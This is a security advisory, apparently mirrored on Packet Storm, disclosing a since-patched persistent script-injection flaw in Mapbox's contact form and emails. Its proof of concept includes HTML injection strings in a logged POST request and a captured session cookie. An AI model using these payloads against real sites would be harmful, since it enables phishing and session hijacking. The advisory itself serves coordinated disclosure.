what you don't know can hurt you

Mapbox Filter Bypass / Script Insertion

Mapbox Filter Bypass / Script Insertion
Posted Jun 8, 2016
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Mapbox suffers from a filter bypass vulnerability that allows for script insertion.

tags | exploit, bypass
MD5 | b8c49ce67563e1266b8c120275e79ec4

Mapbox Filter Bypass / Script Insertion

Change Mirror Download
Document Title:
Mapbox (API) - Filter Bypass & Persistent Vulnerability

References (Source):

ID: #119802

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Mapbox is a large provider of custom online maps for websites such as Foursquare, Pinterest, Evernote, the Financial Times, The Weather Channel and Uber Technologies.
Since 2010, it has rapidly expanded the niche of custom maps, as a response to the limited choice offered by map providers such as Google Maps. Mapbox is the creator
of, or a significant contributor to some open source mapping libraries and applications, including the MBTiles specification, the TileMill cartography IDE, the Leaflet
JavaScript library, and the CartoCSS map styling language and parser.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Mapbox )

Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered a filter bypass issue and an application-side vulnerability in the official Mapbox online service web-application.

Filter Bypass & Persistent Vulnerability

Vulnerability Disclosure Timeline:
2016-03-01: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2016-03-01 Vendor Notification (MapBox Security Team - Bug Bounty Program)
2016-03-01: Vendor Response/Feedback (MapBox Security Team - Bug Bounty Program)
2016-05-11: Vendor Fix/Patch (MapBox Service Developer Team)
2016-06-06: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):

Exploitation Technique:

Severity Level:

Technical Details & Description:
An application-side input validation web vulnerability has been discovered in the official Mapbox online service web-application.
The vulnerability allows remote attacker to inject malicious script codes to application-side of the vulnerable service module.

The discovered vulnerability is an application-side input validation issue with affect to the outgoing mail encoding of the domains web-server.
The injection point is the contact formular and the execution point is the email that is get send to the contact email in the form without
secure verify. The encoding of outgoing mails is broken and encodes the context with wrong conditions. The vulnerable inputs is the Name
and the Note context. The request method to inject is POST via contact form. The attacker injects the payload to the name or note value of
the contact formular that requests through the basic api. After the inject the code runs wrong encoded through the system and executes at the
managers section but also in the ticket system message replies itself.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent web vulnerability requires no privileged web-application account with restricted access but low user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s)
[+] ./contact/

Vulnerable Input(s):
[+] Firstname
[+] Lastname

Vulnerable Parameter(s)
[+] Name
[+] Note

Affected Module(s)
[+] Mapbox Service Mails

Proof of Concept (PoC):
The vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

<td style="padding:8px 0 10px 0;">
<h3 style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#717171; font-size:16px;
line-height:22px; margin:0; font-weight:normal;"><strong style="color:#000000;">Remove23</strong> sent a message</h3>
<td style="padding:8px 0 10px 0;" valign="top">
<div style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#9E9E9E; font-size:12px; line-height:18px; margin:0;" align="right">Mar 1, 8:22am</div>
<td colspan="2" style="padding:8px 0 10px 0;">
<div style="font-family:Arial, government-labHelvetica Neuegovernment-lab, Helvetica, Tahoma, sans-serif; color:#222222; font-size:13px; line-height:19px; margin:0;">
<li><strong>Plan:</strong> premium</li>
<li><strong>Name:</strong> "><"<[PERSISTENT INJECTED SCRIPT CODE!] src="x" />%20%20>"</li>
... ...
<td height="1"><div style="border-bottom:1px solid #e6e6e6;"></div></td>
<td height="20"></td>
<!-- /thread -->
<td height="0" style="font-size: 0px;line-height: 0px;color:#ffffff;">{#HS:176795903-53087#}</td>

--- PoC Session Logs [POST] ---
Status: 201[Created]
POST https://www.mapbox.com/core/api/users/danielkunz/authorizations/ Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[392] Mime Type[application/json]
Request Header:
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
Accept-Encoding[gzip, deflate, br]
Cookie[ajs_user_id=%22danielkunz%22; ajs_group_id=null; ajs_anonymous_id=%22eece0883-1dfa-4d4f-882d-b91ba10eebf8%22; _ga=GA1.2.158045848.1456848747; connect.sid=TuVbQ8DbdbB1K7ahBx4Nkw.3SxrWbYDjgbdDAIV7yNOHc0NK14l5BqKjwOrcq6meTPiDRlN_oLNtY1yPPOrvZxAhT7PbMov3CS1KiQWpomyppnNbFDfHiNzQahpIhGU12jLuJP8h_JBWnz
f7c9NaV0_pFE3CPZC1XRT_zya_7GzZw.1456848749225.31536000000.yGTGLwBkF1KHBCxWiSjGr8RraoLtisz5frnVT39t1NQ; _hp2_ses_props.3859983338=%7B%22r%22%3A%22%22%2C%22
e%22%3A%22%22%2C%22us%22%3A%22%22%2C%22um%22%3A%22%22%2C%22ut%22%3A%22%22%2C%22uc%22%3A%22%22%2C%22ua%22%3A%22%22%7D; _hp2_id.3859983338=1450272335568629.
2335232979.2893142437; __ar_v4=SSJTPJ5WABDR3EINNFOIF6%3A20160231%3A13%7CCJDHCYPX3FFVREW6EU72A6%3A20160231%3A13%7CT4ADTFYFYFDYPODRM3UKAO%3A20160231%3A12%7C
G72FPCROYNGGHL3F6CY5KE%3A20160231%3A1; gwcc=%7B%22fallback%22%3A%228034706277%22%2C%22clabel%22%3A%22BM7sCKLXiV8Q8IOfywM%22%2C%22backoff%22%3A86400%2C%22b
ackoff_expires%22%3A1456935147%7D; intercom-visitor-semaphore-wg57poe2=1; _cio=a2c9b6ce-126a-3951-c361-ef60d0a5940e; mp_mixpanel__c=3; _cioid=danielkunz;
_gat=1; mp_763de402835ccbeea5732a796881bfe9_mixpanel=%7B%22distinct_id%22%3A%20%22danielkunz%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24
{"note":""><"<img src["x">%20%20>"<iframe src=a>%20<iframe> "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>","scopes":[],"resources":null,"usage":"pk"}]
Response Header:
Content-Type[application/json; charset=utf-8]
Date[Tue, 01 Mar 2016 16:24:07 GMT]
Via[1.1 varnish]
Strict-Transport-Security[max-age=31536000; includeSubDomains; preload]
X-XSS-Protection[1; mode=block]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable note and name value in the Contact form POST method request.
Filter the input and disallow special chars to prevent persistent script code injects. Encode all Name and Note values that are stored in the dbms.
Filter in the email service the incoming and outgoing emails with the marked vulnerable values to finally patch the issue in the ticket and communcation system.

Security Risk:
The security risk fo the application-side mail encoding web vulnerability in the mapbox application is estimated as medium. (CVSS 3.8)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™

SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    4 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By